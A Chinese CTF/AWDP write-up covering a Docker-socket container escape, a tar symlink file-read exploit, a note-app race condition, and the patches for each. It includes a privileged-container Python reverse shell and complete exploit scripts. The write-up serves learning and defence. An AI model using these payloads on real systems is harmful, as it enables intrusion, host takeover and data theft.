{ "Detach": false, "Tty": false }

接着直接访问/uploads/flag.txt即可

后续测试了一下,发现挂载docker.sock应该可以玩容器逃逸

POST http+unix://%2Fvar%2Frun%2Fdocker.sock/v1.43/containers/create

{
  "Image": "chall-go-storage-bot",
  "Cmd": ["/bin/sh", "-c", "export RHOST=\"<HOST>\";export RPORT=<PORT>;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")'"],
  "HostConfig": {
    "Privileged": true,
    "Binds": ["/:/host"]
  }
}

然后就会收到一个shell,在/host下挂载着宿主机的根目录。后续加个ssh密钥啥的。。。

赛场上想到了不过没试,估计有防御措施吧

"""

awdp

Nsl

攻击脚本

我们的exp(应该比较早期的)

#!/usr/bin/env python3
"""
NSL CTF Exploit - Arbitrary File Read via Symlink Dereference
Target: /flag
"""
# ------------------------------------------------------------------
# 0x00 依赖库
# ------------------------------------------------------------------
import io, json, os, tarfile, tempfile, requests
from pathlib import Path

# ------------------------------------------------------------------
# 0x01 目标配置
# ------------------------------------------------------------------
TARGET_PORT = 8080          # 靶机端口

# ------------------------------------------------------------------
# 0x02  exploit 主类
# ------------------------------------------------------------------
class NSLExploit:
    def __init__(self, target_host="173.30.3.11", verbose=True):
        self.target_host = target_host
        self.base_url = f"http://{target_host}:{TARGET_PORT}"
        self.session = requests.Session()                 # 复用 cookie
        self.session.headers.update({'Connection': 'close'})
        self.token = None         # JWT
        self.ticket_id = None     # 工单 ID
        self.verbose = verbose

    # 日志辅助 ------------------------------------------------------------
    def log(self, msg):
        if self.verbose:
            print(msg)

    # ------------------------------------------------------------------
    # 0x03 注册新用户 → 拿 JWT
    # ------------------------------------------------------------------
    def register_user(self):
        import random, string
        username = 'user_' + ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
        password = 'Pass123!@#'
        self.log(f"[*] Registering user: {username}")
        try:
            resp = self.session.post(
                f"{self.base_url}/api/users/register",
                json={"username": username, "password": password},
                timeout=10
            )
            if resp.status_code != 200:
                self.log(f"[-] Registration failed: {resp.text}")
                return False
            data = resp.json()
            self.token = data['token']          # 保存 JWT
            self.log(f"[+] Registered successfully, token: {self.token[:20]}...")
            return True
        except Exception as e:
            self.log(f"[-] Registration error: {e}")
            return False
    # 【解析】
    # 后续所有 API 都要带 Authorization: Bearer <token>,因此先拿身份。

    # ------------------------------------------------------------------
    # 0x04 创建支持工单 → 拿到 ticket_id
    # ------------------------------------------------------------------
    def create_support_ticket(self):
        self.log("[*] Creating support ticket...")
        headers = {"Authorization": f"Bearer {self.token}"}
        try:
            resp = self.session.post(
                f"{self.base_url}/api/support/tickets",
                headers=headers,
                timeout=10
            )
            if resp.status_code != 200:
                self.log(f"[-] Failed to create ticket: {resp.text}")
                return False
            data = resp.json()
            self.ticket_id = data['id']
            self.log(f"[+] Ticket created: {self.ticket_id}")
            return True
        except Exception as e:
            self.log(f"[-] Ticket creation error: {e}")
            return False
    # 【解析】
    # 工单系统提供“上传诊断归档”功能,服务器会:
    # 解压 → 按 manifest 列表重新打包 → 让用户下载。
    # 我们对 manifest 写入软链,即可诱导服务端把任意文件读进来。

    # ------------------------------------------------------------------
    # 0x05 构造恶意 tar(核心攻击载荷)
    # ------------------------------------------------------------------
    def create_malicious_tar(self):
        self.log("[*] Creating malicious tar archive with symlink to /flag...")
        buf = io.BytesIO()
        with tarfile.open(mode='w', fileobj=buf) as tar:
            # 1) manifest.json —— 告诉服务器“请打包 flag_link”
            manifest = {"includes": ["manifest.json", "flag_link"]}
            manifest_data = json.dumps(manifest).encode('utf-8')
            manifest_info = tarfile.TarInfo(name='manifest.json')
            manifest_info.size = len(manifest_data)
            tar.addfile(manifest_info, io.BytesIO(manifest_data))

            # 2) 软链 flag_link -> /flag
            symlink_info = tarfile.TarInfo(name='flag_link')
            symlink_info.type = tarfile.SYMTYPE   # 关键:类型设为符号链接
            symlink_info.linkname = '/flag'       # 指向靶机根目录下的 /flag
            tar.addfile(symlink_info)
        buf.seek(0)
        self.log("[+] Malicious tar created")
        return buf
    # 【解析】
    # 漏洞点:服务端解压后,第二次打包时如果跟随软链(readlink+open),
    # 就会把 /flag 实体内容复制进新 tar,我们下载即可读到。

    # ------------------------------------------------------------------
    # 0x06 上传恶意 tar
    # ------------------------------------------------------------------
    def upload_tar(self, tar_buf):
        self.log(f"[*] Uploading tar to ticket {self.ticket_id}...")
        headers = {"Authorization": f"Bearer {self.token}"}
        files = {'archive': ('payload.tar', tar_buf, 'application/x-tar')}
        try:
            resp = self.session.post(
                f"{self.base_url}/api/support/tickets/{self.ticket_id}/upload",
                headers=headers,
                files=files,
                timeout=10
            )
            if resp.status_code != 200:
                self.log(f"[-] Upload failed: {resp.text}")
                return False
            self.log(f"[+] Upload successful: {resp.json()}")
            return True
        except Exception as e:
            self.log(f"[-] Upload error: {e}")
            return False

    # ------------------------------------------------------------------
    # 0x07 下载服务端重新打包后的“诊断bundle”
    # ------------------------------------------------------------------
    def download_bundle(self):
        self.log(f"[*] Downloading diagnostic bundle...")
        headers = {"Authorization": f"Bearer {self.token}"}
        try:
            resp = self.session.get(
                f"{self.base_url}/diagnostics/bundle",
                params={"ticket": self.ticket_id},
                headers=headers,
                timeout=10
            )
            if resp.status_code != 200:
                self.log(f"[-] Download failed: {resp.text}")
                return None
            self.log(f"[+] Bundle downloaded ({len(resp.content)} bytes)")
            return resp.content
        except Exception as e:
            self.log(f"[-] Download error: {e}")
            return None
    # 【解析】
    # 此时返回的 tar 里,flag_link 已被解引用,变成普通文件,大小>0。

    # ------------------------------------------------------------------
    # 0x08 从 bundle 里提取 flag
    # ------------------------------------------------------------------
    def extract_flag(self, tar_content):
        self.log("[*] Extracting flag from bundle...")
        try:
            buf = io.BytesIO(tar_content)
            with tarfile.open(fileobj=buf, mode='r') as tar:
                members = tar.getmembers()
                self.log(f"[*] Archive contains {len(members)} files:")
                for member in members:
                    self.log(f"    - {member.name} ({member.size} bytes)")

                # 直接读 flag_link(此刻已是普通文件)
                flag_member = tar.getmember('flag_link')
                flag_file = tar.extractfile(flag_member)
                if flag_file:
                    flag_content = flag_file.read()
                    flag_str = flag_content.decode('utf-8', errors='replace').strip()
                    print(f"\n[+] FLAG FOUND:")
                    print(f"{'='*60}")
                    print(flag_str)
                    print(f"{'='*60}\n")
                    return flag_str
                else:
                    self.log("[-] Could not extract flag_link")
                    return None
        except Exception as e:
            self.log(f"[-] Extract error: {e}")
            return None

    # ------------------------------------------------------------------
    # 0x09 完整攻击链
    # ------------------------------------------------------------------
    def exploit(self):
        if self.verbose:
            print("="*60)
            print(f"NSL CTF Exploit - Target: {self.target_host}")
            print("="*60)

        # 1. 拿身份
        if not self.register_user():
            return None
        # 2. 开工单
        if not self.create_support_ticket():
            return None
        # 3. 造恶意 tar
        tar_buf = self.create_malicious_tar()
        # 4. 上传
        if not self.upload_tar(tar_buf):
            return None
        # 5. 下载服务端重新打包的 tar
        bundle = self.download_bundle()
        if not bundle:
            return None
        # 6. 读 flag
        flag = self.extract_flag(bundle)
        return flag

# ------------------------------------------------------------------
# 0x10 命令行入口
# ------------------------------------------------------------------
if __name__ == '__main__':
    import sys
    target_host = sys.argv[1] if len(sys.argv) > 1 else "173.30.3.11"
    exploit = NSLExploit(target_host=target_host, verbose=True)
    flag = exploit.exploit()
    if flag:
        print(f"\n[+] Exploit successful!")
        print(f"[+] Flag: {flag}")
    else:
        print("\n[-] Exploit failed")

“符号链接跟随 → 任意文件读取” 漏洞(Symlink Dereference / Arbitrary File Read)。
核心思路:把指向系统敏感文件(/flag)的软链塞进上传压缩包 → 服务端在“重新打包”时跟随软链 → 把目标文件内容复制进新压缩包 → 下载后读取”

步骤 客户端动作 服务端处理 关键问题
① 注册 & 拿 JWT POST /api/users/register 创建用户,返回 token
② 创建支持工单 POST /api/support/tickets 生成 ticket_id
③ 上传 tar POST /api/support/tickets/{id}/upload 解压 → 按 manifest 列表重新打包 → 存盘 服务端跟随软链
④ 下载 bundle GET /diagnostics/bundle?ticket={id} 把第③步的新 tar 吐给用户 /flag 实体已被复制进来
⑤ 读 flag 本地解压读取 本地读取普通文件 攻击完成

修复方案(当时较早版)

🛡️ 修复方案

  方案1:禁用符号链接解引用(推荐)

  在 app/routes/diagnostics.py:58 修改:

  # 修复前
  with tarfile.open(mode="w", fileobj=buf, dereference=True) as archive:

  # 修复后
  with tarfile.open(mode="w", fileobj=buf, dereference=False) as archive:

  效果:符号链接将作为链接本身被打包,不会读取目标文件内容。

  ---
  方案2:禁止上传符号链接

  在 app/routes/support.py:86-89 修改:

  # 修复前
  if member.issym():
      if member_path.exists() or member_path.is_symlink():
          member_path.unlink()
      os.symlink(member.linkname, member_path)

  # 修复后
  if member.issym():
      # 拒绝符号链接
      raise HTTPException(
          status_code=status.HTTP_400_BAD_REQUEST,
          detail="symbolic links are not allowed"
      )

  效果:直接拒绝包含符号链接的上传。

  ---
  方案3:验证符号链接目标(深度防御)

  在 app/routes/support.py 的 _extract_archive 函数中添加验证:

  if member.issym():
      # 检查符号链接目标是否在允许范围内
      link_target = Path(member.linkname)
      if link_target.is_absolute():
          raise HTTPException(
              status_code=status.HTTP_400_BAD_REQUEST,
              detail="absolute symlink paths not allowed"
          )

      # 解析符号链接的实际目标
      resolved_target = (member_path.parent / member.linkname).resolve()
      try:
          resolved_target.relative_to(staging_root.resolve())
      except ValueError:
          raise HTTPException(
              status_code=status.HTTP_400_BAD_REQUEST,
              detail="symlink target outside staging area"
          )

  效果:只允许指向 staging_root 内部的相对符号链接。

  ---
  方案4:完全禁用符号链接功能

  在 app/routes/support.py:75 使用过滤器:

  # 修复前
  with tarfile.open(fileobj=io.BytesIO(payload), mode="r:*") as archive:
      for member in archive.getmembers():

  # 修复后
  with tarfile.open(fileobj=io.BytesIO(payload), mode="r:*") as archive:
      # 过滤掉所有符号链接和硬链接
      regular_files = [m for m in archive.getmembers()
                       if m.isfile() or m.isdir()]
      for member in regular_files:

  ---
  ✅ 推荐修复组合

  最佳实践:组合方案1 + 方案2

  1. 在 diagnostics.py:58 设置 dereference=False
  2. 在 support.py 拒绝符号链接上传

  # app/routes/diagnostics.py:58
  with tarfile.open(mode="w", fileobj=buf, dereference=False) as archive:

  # app/routes/support.py:86-89
  if member.issym():
      raise HTTPException(
          status_code=status.HTTP_400_BAD_REQUEST,
          detail="symbolic links are not allowed"
      )

  ---
  📊 影响范围

  - 文件:/flag 及系统任意可读文件
  - 权限:需要认证用户权限(但注册开放)
  - 严重程度:🔴 高危 - 可读取敏感文件

  ---
  🎓 安全建议

  1. 永远不要信任用户上传的归档文件内容
  2. 避免使用 dereference=True 处理不可信的符号链接
  3. 实施严格的路径验证和白名单机制
  4. 考虑使用沙箱环境处理用户上传
  5. 定期安全审计文件操作相关代码

  ---

(重要)接下来是较后期patch怎么修的,这里拿vscode插件对比后面patch包:

image-20251208114639510 hasattr() 是 Python 内置的 “反射”工具函数,用来 快速判断一个对象是否带有指定名称的属性(或方法),而 不用先把属性取出来再 try/excepthasattr(obj, 'x') 等价于try: obj.x; return True except AttributeError: return False`只是 更短、不抛异常、更安全

tarfile.add(..., dereference=False) 只会保证“不跟随”但仍然会把符号链接本身当成一个“条目”写进 tar
​ 而一旦写进 tar,攻击者就能在解压端重新得到这个 symlink,再手动跟随,照样可能造成目录穿越或信息泄露。所以还要加下面的

st = candidate.lstat()                 # 只取 symlink 本身的元数据
if tarfile.stat.S_ISLNK(st.st_mode):   # 发现是链接
    continue                           # 直接 continue → 不进 tar
    

1. tarfile.open(..., dereference=True|False)

  • True → 遇到 symlink 时,Phar 会把目标文件内容当普通文件写进 tar;
  • False → 只把链接头(SYMTYPE)写进 tar,不跟随。
    右边再手动 skip,就连链接头也不写,实现“零残留”。

2. os.lstat(path) / path.lstat()

  • 不跟随符号链接,只返回链接本身的 inode 信息;
  • os.stat() 区别:stat() 会追到链接目标,而我们要的正是“这条路径到底是不是软链”。

3. tarfile.stat.S_ISLNK(mode)

  • 位运算宏,判断 st_mode 是否属于 S_IFLNK
  • 返回 True ⇒ 是软链 ⇒ 立即 continue不进 tar

4. archive.add(..., recursive=False)

  • 默认 True 会把子目录全部递归打包;
  • 设成 False 后,只打包当前指定路径
    防止出现“目录里还有软链”被间接带进去的小缝隙。

image-20251208114659948

原代码 修复后 作用
job_body = {**template, **payload.dict(exclude_unset=True)} 删掉整包合并 杜绝“用户字段覆盖模板敏感字段”
topic=job_body.get(...) topic = template["topic"] 强制模板值,用户传任意 topic 失效
privileged=job_body.get(...) privileged = template.get("privileged", False) 强制模板值,无法提权
无类型/白名单校验 isinstance(incoming, dict) + allowed_keys 参数级白名单,只能改模板已有的 key
无异常 raise HTTPException(400, "invalid params") 畸形输入立即 400,避免脏数据透传
攻击 payload(JSON) 原代码效果 修复后效果
{"topic":"evil","body":"..."} 成功插队到 evil topic topic 被强制用模板值,无效
{"privileged":true} 任务标记为高权限,可能越权执行 privileged 被强制用模板值,无法提权
{"params":{"timeout":999,"cmd":"rm -rf /"}} 整个 params 被覆盖 → 字段注入 只允许改模板已有的 key,新 key 被过滤掉,无法注入
{"params":"i_am_string"} 透传 string → 下层反序列化炸 500 进入 isinstance 判断 → 直接 400

image-20251208114801850

行号 左段(原始) 右段(修复) 作用
12-15 if member.issym(): ... os.symlink(...) 整段删除 不再重建软链
新增 if member.issym() or member.islnk(): raise HTTPException(...) 显式拒绝任何链接 行号
攻击场景 左段结果 右段结果
上传 flag_link -> /flag 成功重建软链 → 后续可跟随读取 400 拒绝 → 落盘前中断
目录穿越软链 ../../../etc/passwd 重建后指向主机任意路径 400 拒绝 → 无法落地
硬链(LNKTYPE)指向高敏感文件 可被重建 → 同样能跟随 400 拒绝 → 一并屏蔽

image-20251208114814107

原代码 修复后代码 作用
from .database import reset_database 引入“重置/初始化数据库”函数
reset_database() 在服务器启动前把数据库清空或回滚到干净状态

这里应该是为了让修复代码正常生效

image-20251208114836695

改salt值

image-20251208114909684

原代码 修复后代码 作用
新增 reset_database() 函数 一键清空并重建所有表
内部主动 from . import models 确保 ORM 映射(Base 子类)已加载
Base.metadata.drop_all(bind=engine) 删除现有表结构
Base.metadata.create_all(bind=engine) 按当前模型定义重新建表

生产环境别这么搞

B-notes

攻击脚本

我们的exp(应该比较早期的)

#!/usr/bin/env python3
"""
CTF Web Challenge - B-Notes Final Exploit
利用竞态条件创建10个笔记,然后访问/prize获取flag
"""

import requests
import threading
import time
import random
import re

BASE_URL = "http://173.30.4.11"

def register_user():
    """注册一个新用户"""
    print("[*] 注册新用户...")
    session = requests.Session()

    username = f"hacker{random.randint(10000, 99999)}"
    password = "password123"
    email = f"{username}@test.com"

    register_data = {
        'username': username,
        'password': password,
        'email': email
    }

    resp = session.post(f"{BASE_URL}/register", data=register_data, allow_redirects=True)

    # 验证注册成功
    profile_resp = session.get(f"{BASE_URL}/profile")
    if profile_resp.status_code == 200:
        print(f"[+] 用户注册成功: {username}")
        return session, username
    else:
        print("[-] 注册失败")
        return None, None

def create_note(session, thread_id):
    """创建一个笔记"""
    try:
        note_data = {
            'title': f'Note {thread_id} - {random.randint(1000, 9999)}',
            'content': f'Content for thread {thread_id}',
            'category_id': 'cat-1',
            'is_public': '1'
        }

        resp = session.post(f"{BASE_URL}/notes", data=note_data, allow_redirects=False)

        # 检查是否成功(302重定向表示成功)
        if resp.status_code == 302:
            print(f"[+] 线程 {thread_id}: 笔记创建成功")
            return True
        else:
            print(f"[-] 线程 {thread_id}: 失败 (状态码: {resp.status_code})")
            return False
    except Exception as e:
        print(f"[-] 线程 {thread_id}: 异常 - {e}")
        return False

def race_condition_attack(session, num_threads=15):
    """利用竞态条件并发创建多个笔记"""
    print(f"\n[*] 启动竞态条件攻击 - 使用 {num_threads} 个线程...")

    threads = []
    results = []

    def worker(tid):
        success = create_note(session, tid)
        results.append(success)

    # 创建并启动所有线程
    for i in range(num_threads):
        t = threading.Thread(target=worker, args=(i,))
        threads.append(t)

    # 尽可能同时启动所有线程
    for t in threads:
        t.start()

    # 等待所有线程完成
    for t in threads:
        t.join()

    success_count = sum(results)
    print(f"\n[*] 攻击完成: {success_count}/{num_threads} 个笔记创建成功")
    return success_count

def check_note_count(session):
    """检查当前用户的笔记数量"""
    resp = session.get(f"{BASE_URL}/my-notes")

    # 尝试多种方式计数
    count = 0

    # 方法1: 查找特定的HTML模式
    import re
    # 查找notes/{id}的链接模式
    note_links = re.findall(r'/notes/[a-zA-Z0-9\-]+', resp.text)
    count = len(set(note_links))  # 去重

    print(f"[*] 检测到 {count} 个笔记")

    return count

def get_flag(session):
    """访问/prize端点获取flag"""
    print("\n[*] 访问 /prize 端点...")
    resp = session.get(f"{BASE_URL}/prize")

    print(f"[*] 响应内容: {resp.text}")

    # 提取flag
    flags = re.findall(r'flag\{[^}]+\}', resp.text, re.IGNORECASE)

    if flags:
        print("\n" + "="*60)
        print("[+] 成功获取 FLAG!")
        for flag in flags:
            print(f"[+] FLAG: {flag}")
        print("="*60)
        return flags[0]
    elif 'work hard' in resp.text:
        print("[-] 笔记数量不足,需要至少10个笔记")
        return None
    else:
        print("[-] 未找到flag")
        return None

def main():
    print("="*60)
    print("B-Notes CTF Challenge - Race Condition Exploit")
    print("="*60)

    # 步骤1: 注册用户
    session, username = register_user()
    if not session:
        print("[-] 无法注册用户,退出")
        return

    # 步骤2: 利用竞态条件创建多个笔记
    # 使用足够多的并发请求来绕过chance=2的限制
    success_count = race_condition_attack(session, num_threads=15)

    # 等待一下让服务器处理完所有请求
    time.sleep(2)

    # 检查实际创建的笔记数量
    actual_count = check_note_count(session)
    print(f"[*] 实际创建的笔记数量: {actual_count}")

    # 步骤3: 尝试获取flag
    flag = get_flag(session)

    if not flag:
        print("\n[*] 第一次尝试失败,再次发起攻击...")
        success_count += race_condition_attack(session, num_threads=10)
        time.sleep(2)
        actual_count = check_note_count(session)
        print(f"[*] 实际创建的笔记数量: {actual_count}")
        flag = get_flag(session)

    if flag:
        print(f"\n[+] 攻击成功!FLAG: {flag}")
    else:
        print("\n[-] 攻击失败,可能需要调整并发数或重试")
        print(f"[*] 当前成功创建 {success_count} 个笔记,需要至少 10 个")

if __name__ == "__main__":
    main()

这段脚本利用的是 “创建笔记接口缺乏并发安全保护、服务器用朴素计数器+固定概率校验” 导致的 条件竞争(Race Condition)漏洞

一句话概括

后端在 /notes 里先简单地 count++,再 if count>=10 才能领 flag,但 count 的更新与检查不是原子操作;于是脚本用 15 条并发请求在同一瞬间“挤”进数据库,使 count 在竞争窗口内被重复读取,最终实际插入的笔记数 >10,而服务器还来不及把 count 累加到最新值,就提前返回了“成功”。随后访问 /prize 即可满足 “已有 10 笔记” 的条件,拿到 flag。

靶场常把这种漏洞归类为 逻辑缺陷 / 并发安全漏洞,在 CTF 里通常叫 Race Condition条件竞争

下面是ai给的漏洞例子:

把靶场源码里“创建笔记”那段逻辑单独拎出来,就能一眼看见漏洞长什么样。下面给出 最常见的 vulnerable 写法(几乎所有 CTF 赛题的 Race-condition 都是这个模式):

# notes/views.py  (Django/Flask 通用思路)

def create_note(request):
    user = request.user                      # 1. 取当前用户
    cnt  = Note.objects.filter(owner=user).count()   # 2. 先查当前已有几篇
    if cnt >= 2:                               # 3. 【概率校验】只允许 2 篇
        return JsonResponse({'err':'最多2篇笔记'},status=400)

    time.sleep(0.01)                         # 4. 为了方便观察,有的赛题还故意 sleep

    Note.objects.create(owner=user, ...)     # 5. 真正插入
    # 6. 没有事务、没有锁、没有唯一约束
    return JsonResponse({'ok':1},status=200)

/prize 里同理:

def prize(request):
    cnt = Note.objects.filter(owner=request.user).count()
    if cnt < 10:
        return HttpResponse('work harder~')
    return HttpResponse(flag)

漏洞点“长”在哪里

  1. count()create() 之间 没有任何原子性/锁/事务
  2. 两个并发请求在同一时刻读到 相同的 cnt(都 < 2),于是都通过校验;
  3. 数据库最终却出现 >2 条记录
  4. /prize 再统计时,发现已经 ≥10,Flag 就被带走。

修掉它只需要一句话(用数据库唯一约束或原子更新):

-- SQL层面
INSERT INTO note(owner,title)
SELECT %s,%s FROM dual
WHERE (SELECT COUNT(*) FROM note WHERE owner=%s) < 2;

或者在 Django 里:

from django.db import transaction, models

with transaction.atomic():
    if Note.objects.select_for_update().filter(owner=user).count() >= 2:
        raise ValidationError
    Note.objects.create(owner=user, ...)

一眼识别 Race-condition 的特征
“先 count()insert(),中间没锁”——看到这种写法,就可以直接打并发。

(重要)接下来是较后期patch怎么修的,这里拿vscode插件对比后面patch包:

image-20251208104718740

封堵 PHP 流封装(stream wrapper)注入

image-20251208104909353

阻止上传 Web 马敏感配置文件

下面的比较核心

image-20251208104840058

image-20251208105423357

image-20251208110828300

这里是为了拿到数据库里实时、原子的剩余次数字段,配合后续“原子减一”语句,彻底堵死前面用并发打超笔记数量的 Race Condition。

image-20251208112923559

注意这里$user是登录时的从内存拿的并没有查库

他加的getchance是为了获取实时的数量,如图:

image-20251208111945342

所以如果真的防并发感觉应该在decrementChance这里再改,这patch包没改。

$st = $db->prepare(
    'UPDATE users SET chance = chance - 1 WHERE id = ? AND chance > 0'   // 条件
);
$st->execute([$id]);

image-20251208110044172

还有创建的地方改了一下secret

image-20251208111454030

最后这里改10000

(重要)华为杯补充

本来到这里就结束了,但看华为杯wp的时候发现了一种有趣打法加上(是的,华为杯改了一点点就把这题几乎原题放决赛了,很坏了)详见这位师傅的“华为杯”第四届中国研究生网络安全创新大赛决赛部分WriteUp_华为杯第四届决赛 wp-CSDN博客

在 app/Controllers/NoteController.php 的 store 方法中

public function store(): void {

​ $this->requireAuth();

​ $user = $this->currentUser();

​ if ($user['chance'] <= 0) {

​ \Session::flash('error', 'Only 2 notes per day');

​ $this->redirect('/profile');

​ return;

​ }

​ $title = trim($_POST['title'] ?? '');

​ $content = $_POST['content'] ?? '';

​ $categoryId = $_POST['category_id'] ?? null;

​ $tagInput = $_POST['tags'] ?? '';

​ $isPublic = isset($_POST['is_public']) ? 1 : 0;

​ if (empty($title) || empty($content)) {

​ \Session::flash('error', 'Title and content are required');

​ $this->redirect('/notes/create');

​ return;

​ }

​ $id = $this->noteModel->create([

​ 'user_id' => $user['id'],

​ 'title' => $title,

​ 'content' => $content,

​ 'category_id' => $categoryId,

​ 'is_public' => $isPublic

​ ]);

​ if ($tagInput) {

​ $tagNames = array_map('trim', explode(',', $tagInput));

​ foreach ($tagNames as $tagName) {

​ if (!empty($tagName)) {

​ $tag = $this->tagModel->findOrCreate($tagName);

​ $this->tagModel->attachToNote($id, $tag['id']);

​ }

​ }

​ }

​ $_SESSION['user']['chance'] -= 1;

​ $this->userModel->decrementChance($user['id']);

​ $this->activityLog->log($user['id'], 'create_note', 'note', $id);

​ \Session::flash('success', 'Note created successfully');

​ $this->redirect('/notes/' . $id);

}

image-20251209101219024

image-20251209101243851

​ 代码顺序执行触发错误再卡掉第四步减掉chance的操作。php终止导致步骤 4(扣除次数)未执行,但步骤 2(创建笔记) 已经成功写入数据库。天下英雄真如过江之鲫了。

​ 下面是关闭自动提交的设置,这里如果要防应该是到最后第四步chance结束以后再手动提交:

image-20251209101938114

这些应该就是比较全的(不过我也只是拿了一个较晚的patch包看),欢迎大家补充说明,本人小菜鸡一枚~

点个赞再走吧~

-

posted @ 2025-12-09 11:23  ScalpelZest  阅读(2)  评论(0)    收藏  举报